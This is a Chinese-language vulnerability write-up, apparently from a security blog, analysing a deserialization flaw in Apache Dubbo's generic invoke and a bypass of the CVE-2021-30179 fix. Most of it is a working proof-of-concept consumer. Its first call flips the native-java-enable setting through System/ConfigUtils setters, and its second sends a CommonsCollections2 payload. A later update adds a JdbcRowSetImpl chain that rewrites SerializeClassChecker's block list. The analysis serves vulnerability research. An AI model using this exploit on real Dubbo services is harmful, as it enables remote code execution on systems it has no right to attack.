文章可能会有一些遗漏和不足,望指正
先上报告链接 https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb 可以发现这次漏洞是由dubbo generic invoke
引起的。dubbo generic invoke
具体是什么可以参考官方文档 这里只要知道当使用dubbo generic invoke
时,服务端的privoder会调用GenericFilter类进行过滤。
然后看一下diff,Add serializable check for pojo 修复的主要点是在JavaBeanSerializeUtil类的name2Class方法和PojoUtil类的realize0方法
1 2 3 4 5 6 7 8 9 public static Class<?> name2Class(ClassLoader loader, String name) throws ClassNotFoundException { ... SerializeClassChecker.getInstance().validateClass(name); Class<?> aClass = Class.forName(name, false , loader); SerializeClassChecker.getInstance().validateClass(aClass); return aClass; }
这个方法见名思义,就是根据名字返回类示例。可以发现在返回类实例前不仅需要将类名与黑名单进行对比,修复后还需要这个类实现了Serializable,否则会抛出异常。
回过头,看一下GenericFilter类,可以发现有一下几个算是sink的点吧:
当generic
为nativejava
时,会校验配置中的dubbo.security.serialize.generic.native-java-enable
(默认为false)。当为true且传来的参数为byte[]
类型时,就直接反序列化。
当generic
为bean
时,并且参数类型要实现JavaBeanDescriptor
时,会对传来的参数调用JavaBeanSerializeUtil.deserialize((JavaBeanDescriptor)args[i]);
。然后对beanDescriptor进行构造,会对其中的className
进行实例化,然后调用beanDescriptor
中key字段的setter方法,值为key对应的value。
当generic
为protobuf-json
时,如果参数是String的实例的话,会进行反序列化
都不满足上面条件的话会调用PojoUtils.realize(),当pojo是Map实例的话会对key为class
的value进行实例化,当然这个class也不能在黑名单。然后都过对pojo这个map进行构造,也会调用这个实例的setter方法
前两点其实都无法直接利用。因为是对CVE-2021-30179的修复。CVE-2021-30179的raw.return也是用黑名单修复的。但明显这次没增加黑名单,应该不是新的链。 那利用点似乎只有第一个了。 但代码里会通过获取配置来进行判断,似乎也没办法。
但这样想一下,我们可不可以用不是黑名单的类调用setter方法,修改配置,然后再打一次,进行反序列化呢? 这样的话首先看一下第一点中的配置怎么来的,哪里能修改。源码如下:
1 2 3 4 5 6 7 8 9 else if (ProtocolUtils.isJavaGenericSerialization(generic)) { Configuration configuration = ApplicationModel.getEnvironment().getConfiguration(); if (!configuration.getBoolean("dubbo.security.serialize.generic.native-java-enable" , false )) { String notice = "Trigger the safety barrier! Native Java Serializer is not allowed by default.This means currently maybe being attacking by others. If you are sure this is a mistake, please set `dubbo.security.serialize.generic.native-java-enable` enable in configuration! Before doing so, please make sure you have configure JEP290 to prevent serialization attack." ; logger.error(notice); throw new RpcException (new IllegalStateException (notice)); } ... }
这里可以看一下Configuration类,都没有提供一个set方法。 经过查找,在这篇文章 中提到了ConfigUtils,使用getProperties()方法就进行对dubbo.properties配置文件进行读取。那看一下源码,发现有对应的setProperties方法对PROPERTIES进行赋值,那可以测试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class Test { public static void main (String[] args) { Configuration configuration = ApplicationModel.getEnvironment().getConfiguration(); Boolean b = configuration.getBoolean("dubbo.security.serialize.generic.native-java-enable" , false ); System.out.println(b); Properties properties = new Properties (); properties.setProperty("dubbo.security.serialize.generic.native-java-enable" , "true" ); ConfigUtils.setProperties(properties); System.out.println(PojoUtils.generalize(properties)); Boolean c = configuration.getBoolean("dubbo.security.serialize.generic.native-java-enable" , false ); System.out.println(c); } }
结果如下:
1 2 3 false {dubbo.security.serialize.generic.native-java-enable=true} true
成了 那接下来思路就很清晰了:
设置generic
,通过GenericFilter#invoke()进入PojoUtils.realize(),对传进来的beanDescriptor进行配置,触发ConfigUtils#setProperties()修改配置。用这种方式的话,接口方法的参数类型可以是任意类型(当接口方法的参数类型为JavaBeanDescriptor时,上面提到的第一种方法也可以触发setter)
设置generic
为nativejava
,通过配置判断,进行原生反序列化
后来我又想了一下,既然ConfigUtils可以配置,那么System.setProperties是不是也可以。测试了一下,的确可以。不过Properties参数的设置会有一点不同。具体就不讲了,直接放在poc里了。那么当在System层面或者其他依赖中找到一个能修改全局配置的类,当这个类实现Serializable的时候,就可以绕过这次的修复,不过这种config存在的概率会很小,可以试着找一下。
注:Dubbo在3.x.x版本移除了ConfigUtils中的setProperties方法,所以就不能用ConfigUtils
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 public class GenericCallConsumer { private static GenericService genericService; public static void main (String[] args) throws Exception { invokeSayHello1(); invokeSayHello2(); } public static void setGenericService (boolean haveNJ) { ApplicationConfig applicationConfig = new ApplicationConfig (); applicationConfig.setName("generic-call-consumer" ); RegistryConfig registryConfig = new RegistryConfig (); registryConfig.setAddress("zookeeper://127.0.0.1:2181" ); ReferenceConfig<GenericService> referenceConfig = new ReferenceConfig <>(); referenceConfig.setInterface("org.apache.dubbo.samples.generic.call.api.HelloService" ); applicationConfig.setRegistry(registryConfig); referenceConfig.setApplication(applicationConfig); referenceConfig.setGeneric(true ); referenceConfig.setAsync(true ); referenceConfig.setTimeout(7000 ); if (haveNJ){ referenceConfig.setGeneric("nativejava" ); } genericService = referenceConfig.get(); } public static void invokeSayHello1 () throws Exception { setGenericService(false ); Properties properties = System.getProperties(); properties.put("dubbo.security.serialize.generic.native-java-enable" , "true" ); HashMap pojoMap = new HashMap (); pojoMap.put("class" ,"java.lang.System" ); pojoMap.put("properties" , PojoUtils.generalize(properties)); Object result = genericService.$invoke("sayHello" , new String []{"java.lang.String" }, new Object []{pojoMap}); CountDownLatch latch = new CountDownLatch (1 ); CompletableFuture<String> future = RpcContext.getContext().getCompletableFuture(); future.whenComplete((value, t) -> { System.err.println("invokeSayHello(whenComplete): " + value); latch.countDown(); }); System.err.println("invokeSayHello(return): " + result); latch.await(); } public static void invokeSayHello2 () throws Exception { setGenericService(true ); RpcContext.getContext().setAttachment("generic" , "nativejava" ); byte [] payload = getBytesByFile("CC2.ser" ); Object result = genericService.$invoke("sayHello" , new String []{"java.lang.String" }, new Object []{payload}); CountDownLatch latch = new CountDownLatch (1 ); CompletableFuture<String> future = RpcContext.getContext().getCompletableFuture(); future.whenComplete((value, t) -> { System.err.println("invokeSayHello(whenComplete): " + value); latch.countDown(); }); System.err.println("invokeSayHello(return): " + result); latch.await(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] getBytesByFile(String pathStr) { File file = new File (pathStr); try { FileInputStream fis = new FileInputStream (file); ByteArrayOutputStream bos = new ByteArrayOutputStream (1000 ); byte [] b = new byte [1000 ]; int n; while ((n = fis.read(b)) != -1 ) { bos.write(b, 0 , n); } fis.close(); byte [] data = bos.toByteArray(); bos.close(); return data; } catch (Exception e) { e.printStackTrace(); } return null ; } }
3.23更新
X1r0z师傅提出修改SerializeClassChecker的实例中的INSTANCE属性为自定义的SerializeClassChecker,然后对这个实例中的黑白名单进行自定义,这样就可以只打一个poc,触发setter方法进行修改SerializeClassChecker和触发恶意setter,如JdbcRowSetImpl
X1r0z师傅也指出几个注意点:
为了避免在实例化 SerializeClassChecker 的时候调用构造函数自行加载黑白名单和设置 OPEN_CHECK_CLASS 属性, 需要使用 Unsafe 类以在无需调用构造函数的情况下进行实例化
在反序列化 JdbcRowSetImpl 类的过程中, setter 的调用必须保证先后顺序, 即先调用 setDataSourceName , 然后再调用 setAutoCommit , 所以需要使用 LinkedHashMap
Hessian 序列化时会在本地检查对应类是否实现了 Serializable 接口, 在 dubbo consumer 中可以 设置 -Ddubbo.hessian.allowNonSerializable=true 参数以禁用检查
在修改白名单的时候注意把 classname 全部转成小写
当参数为 java.lang.String 或其它类型时, 无法进入 if 语句, 也就无法对 HashMap 中的 value 调用 realize0 方法。(这里我看源码在else中也能调用realize0,不知道是不是师傅构造的payload有问题,不过时间太晚了,没调试验证,不能下结论)
X1r0z师傅的解决方案:当 pojo 属于 Collection 类或其子类的时候, 无论 type 的具体内容是什么, 最终都会遍历 Collection 并对里面的值调用 realize0 方法。所以利用 Collection 的子类构造 poc 可以将利用面从参数为 java.lang.Object 类型扩大为参数为 java.lang.Object , java.lang.String , java.lang.Integer 等其它非基本类型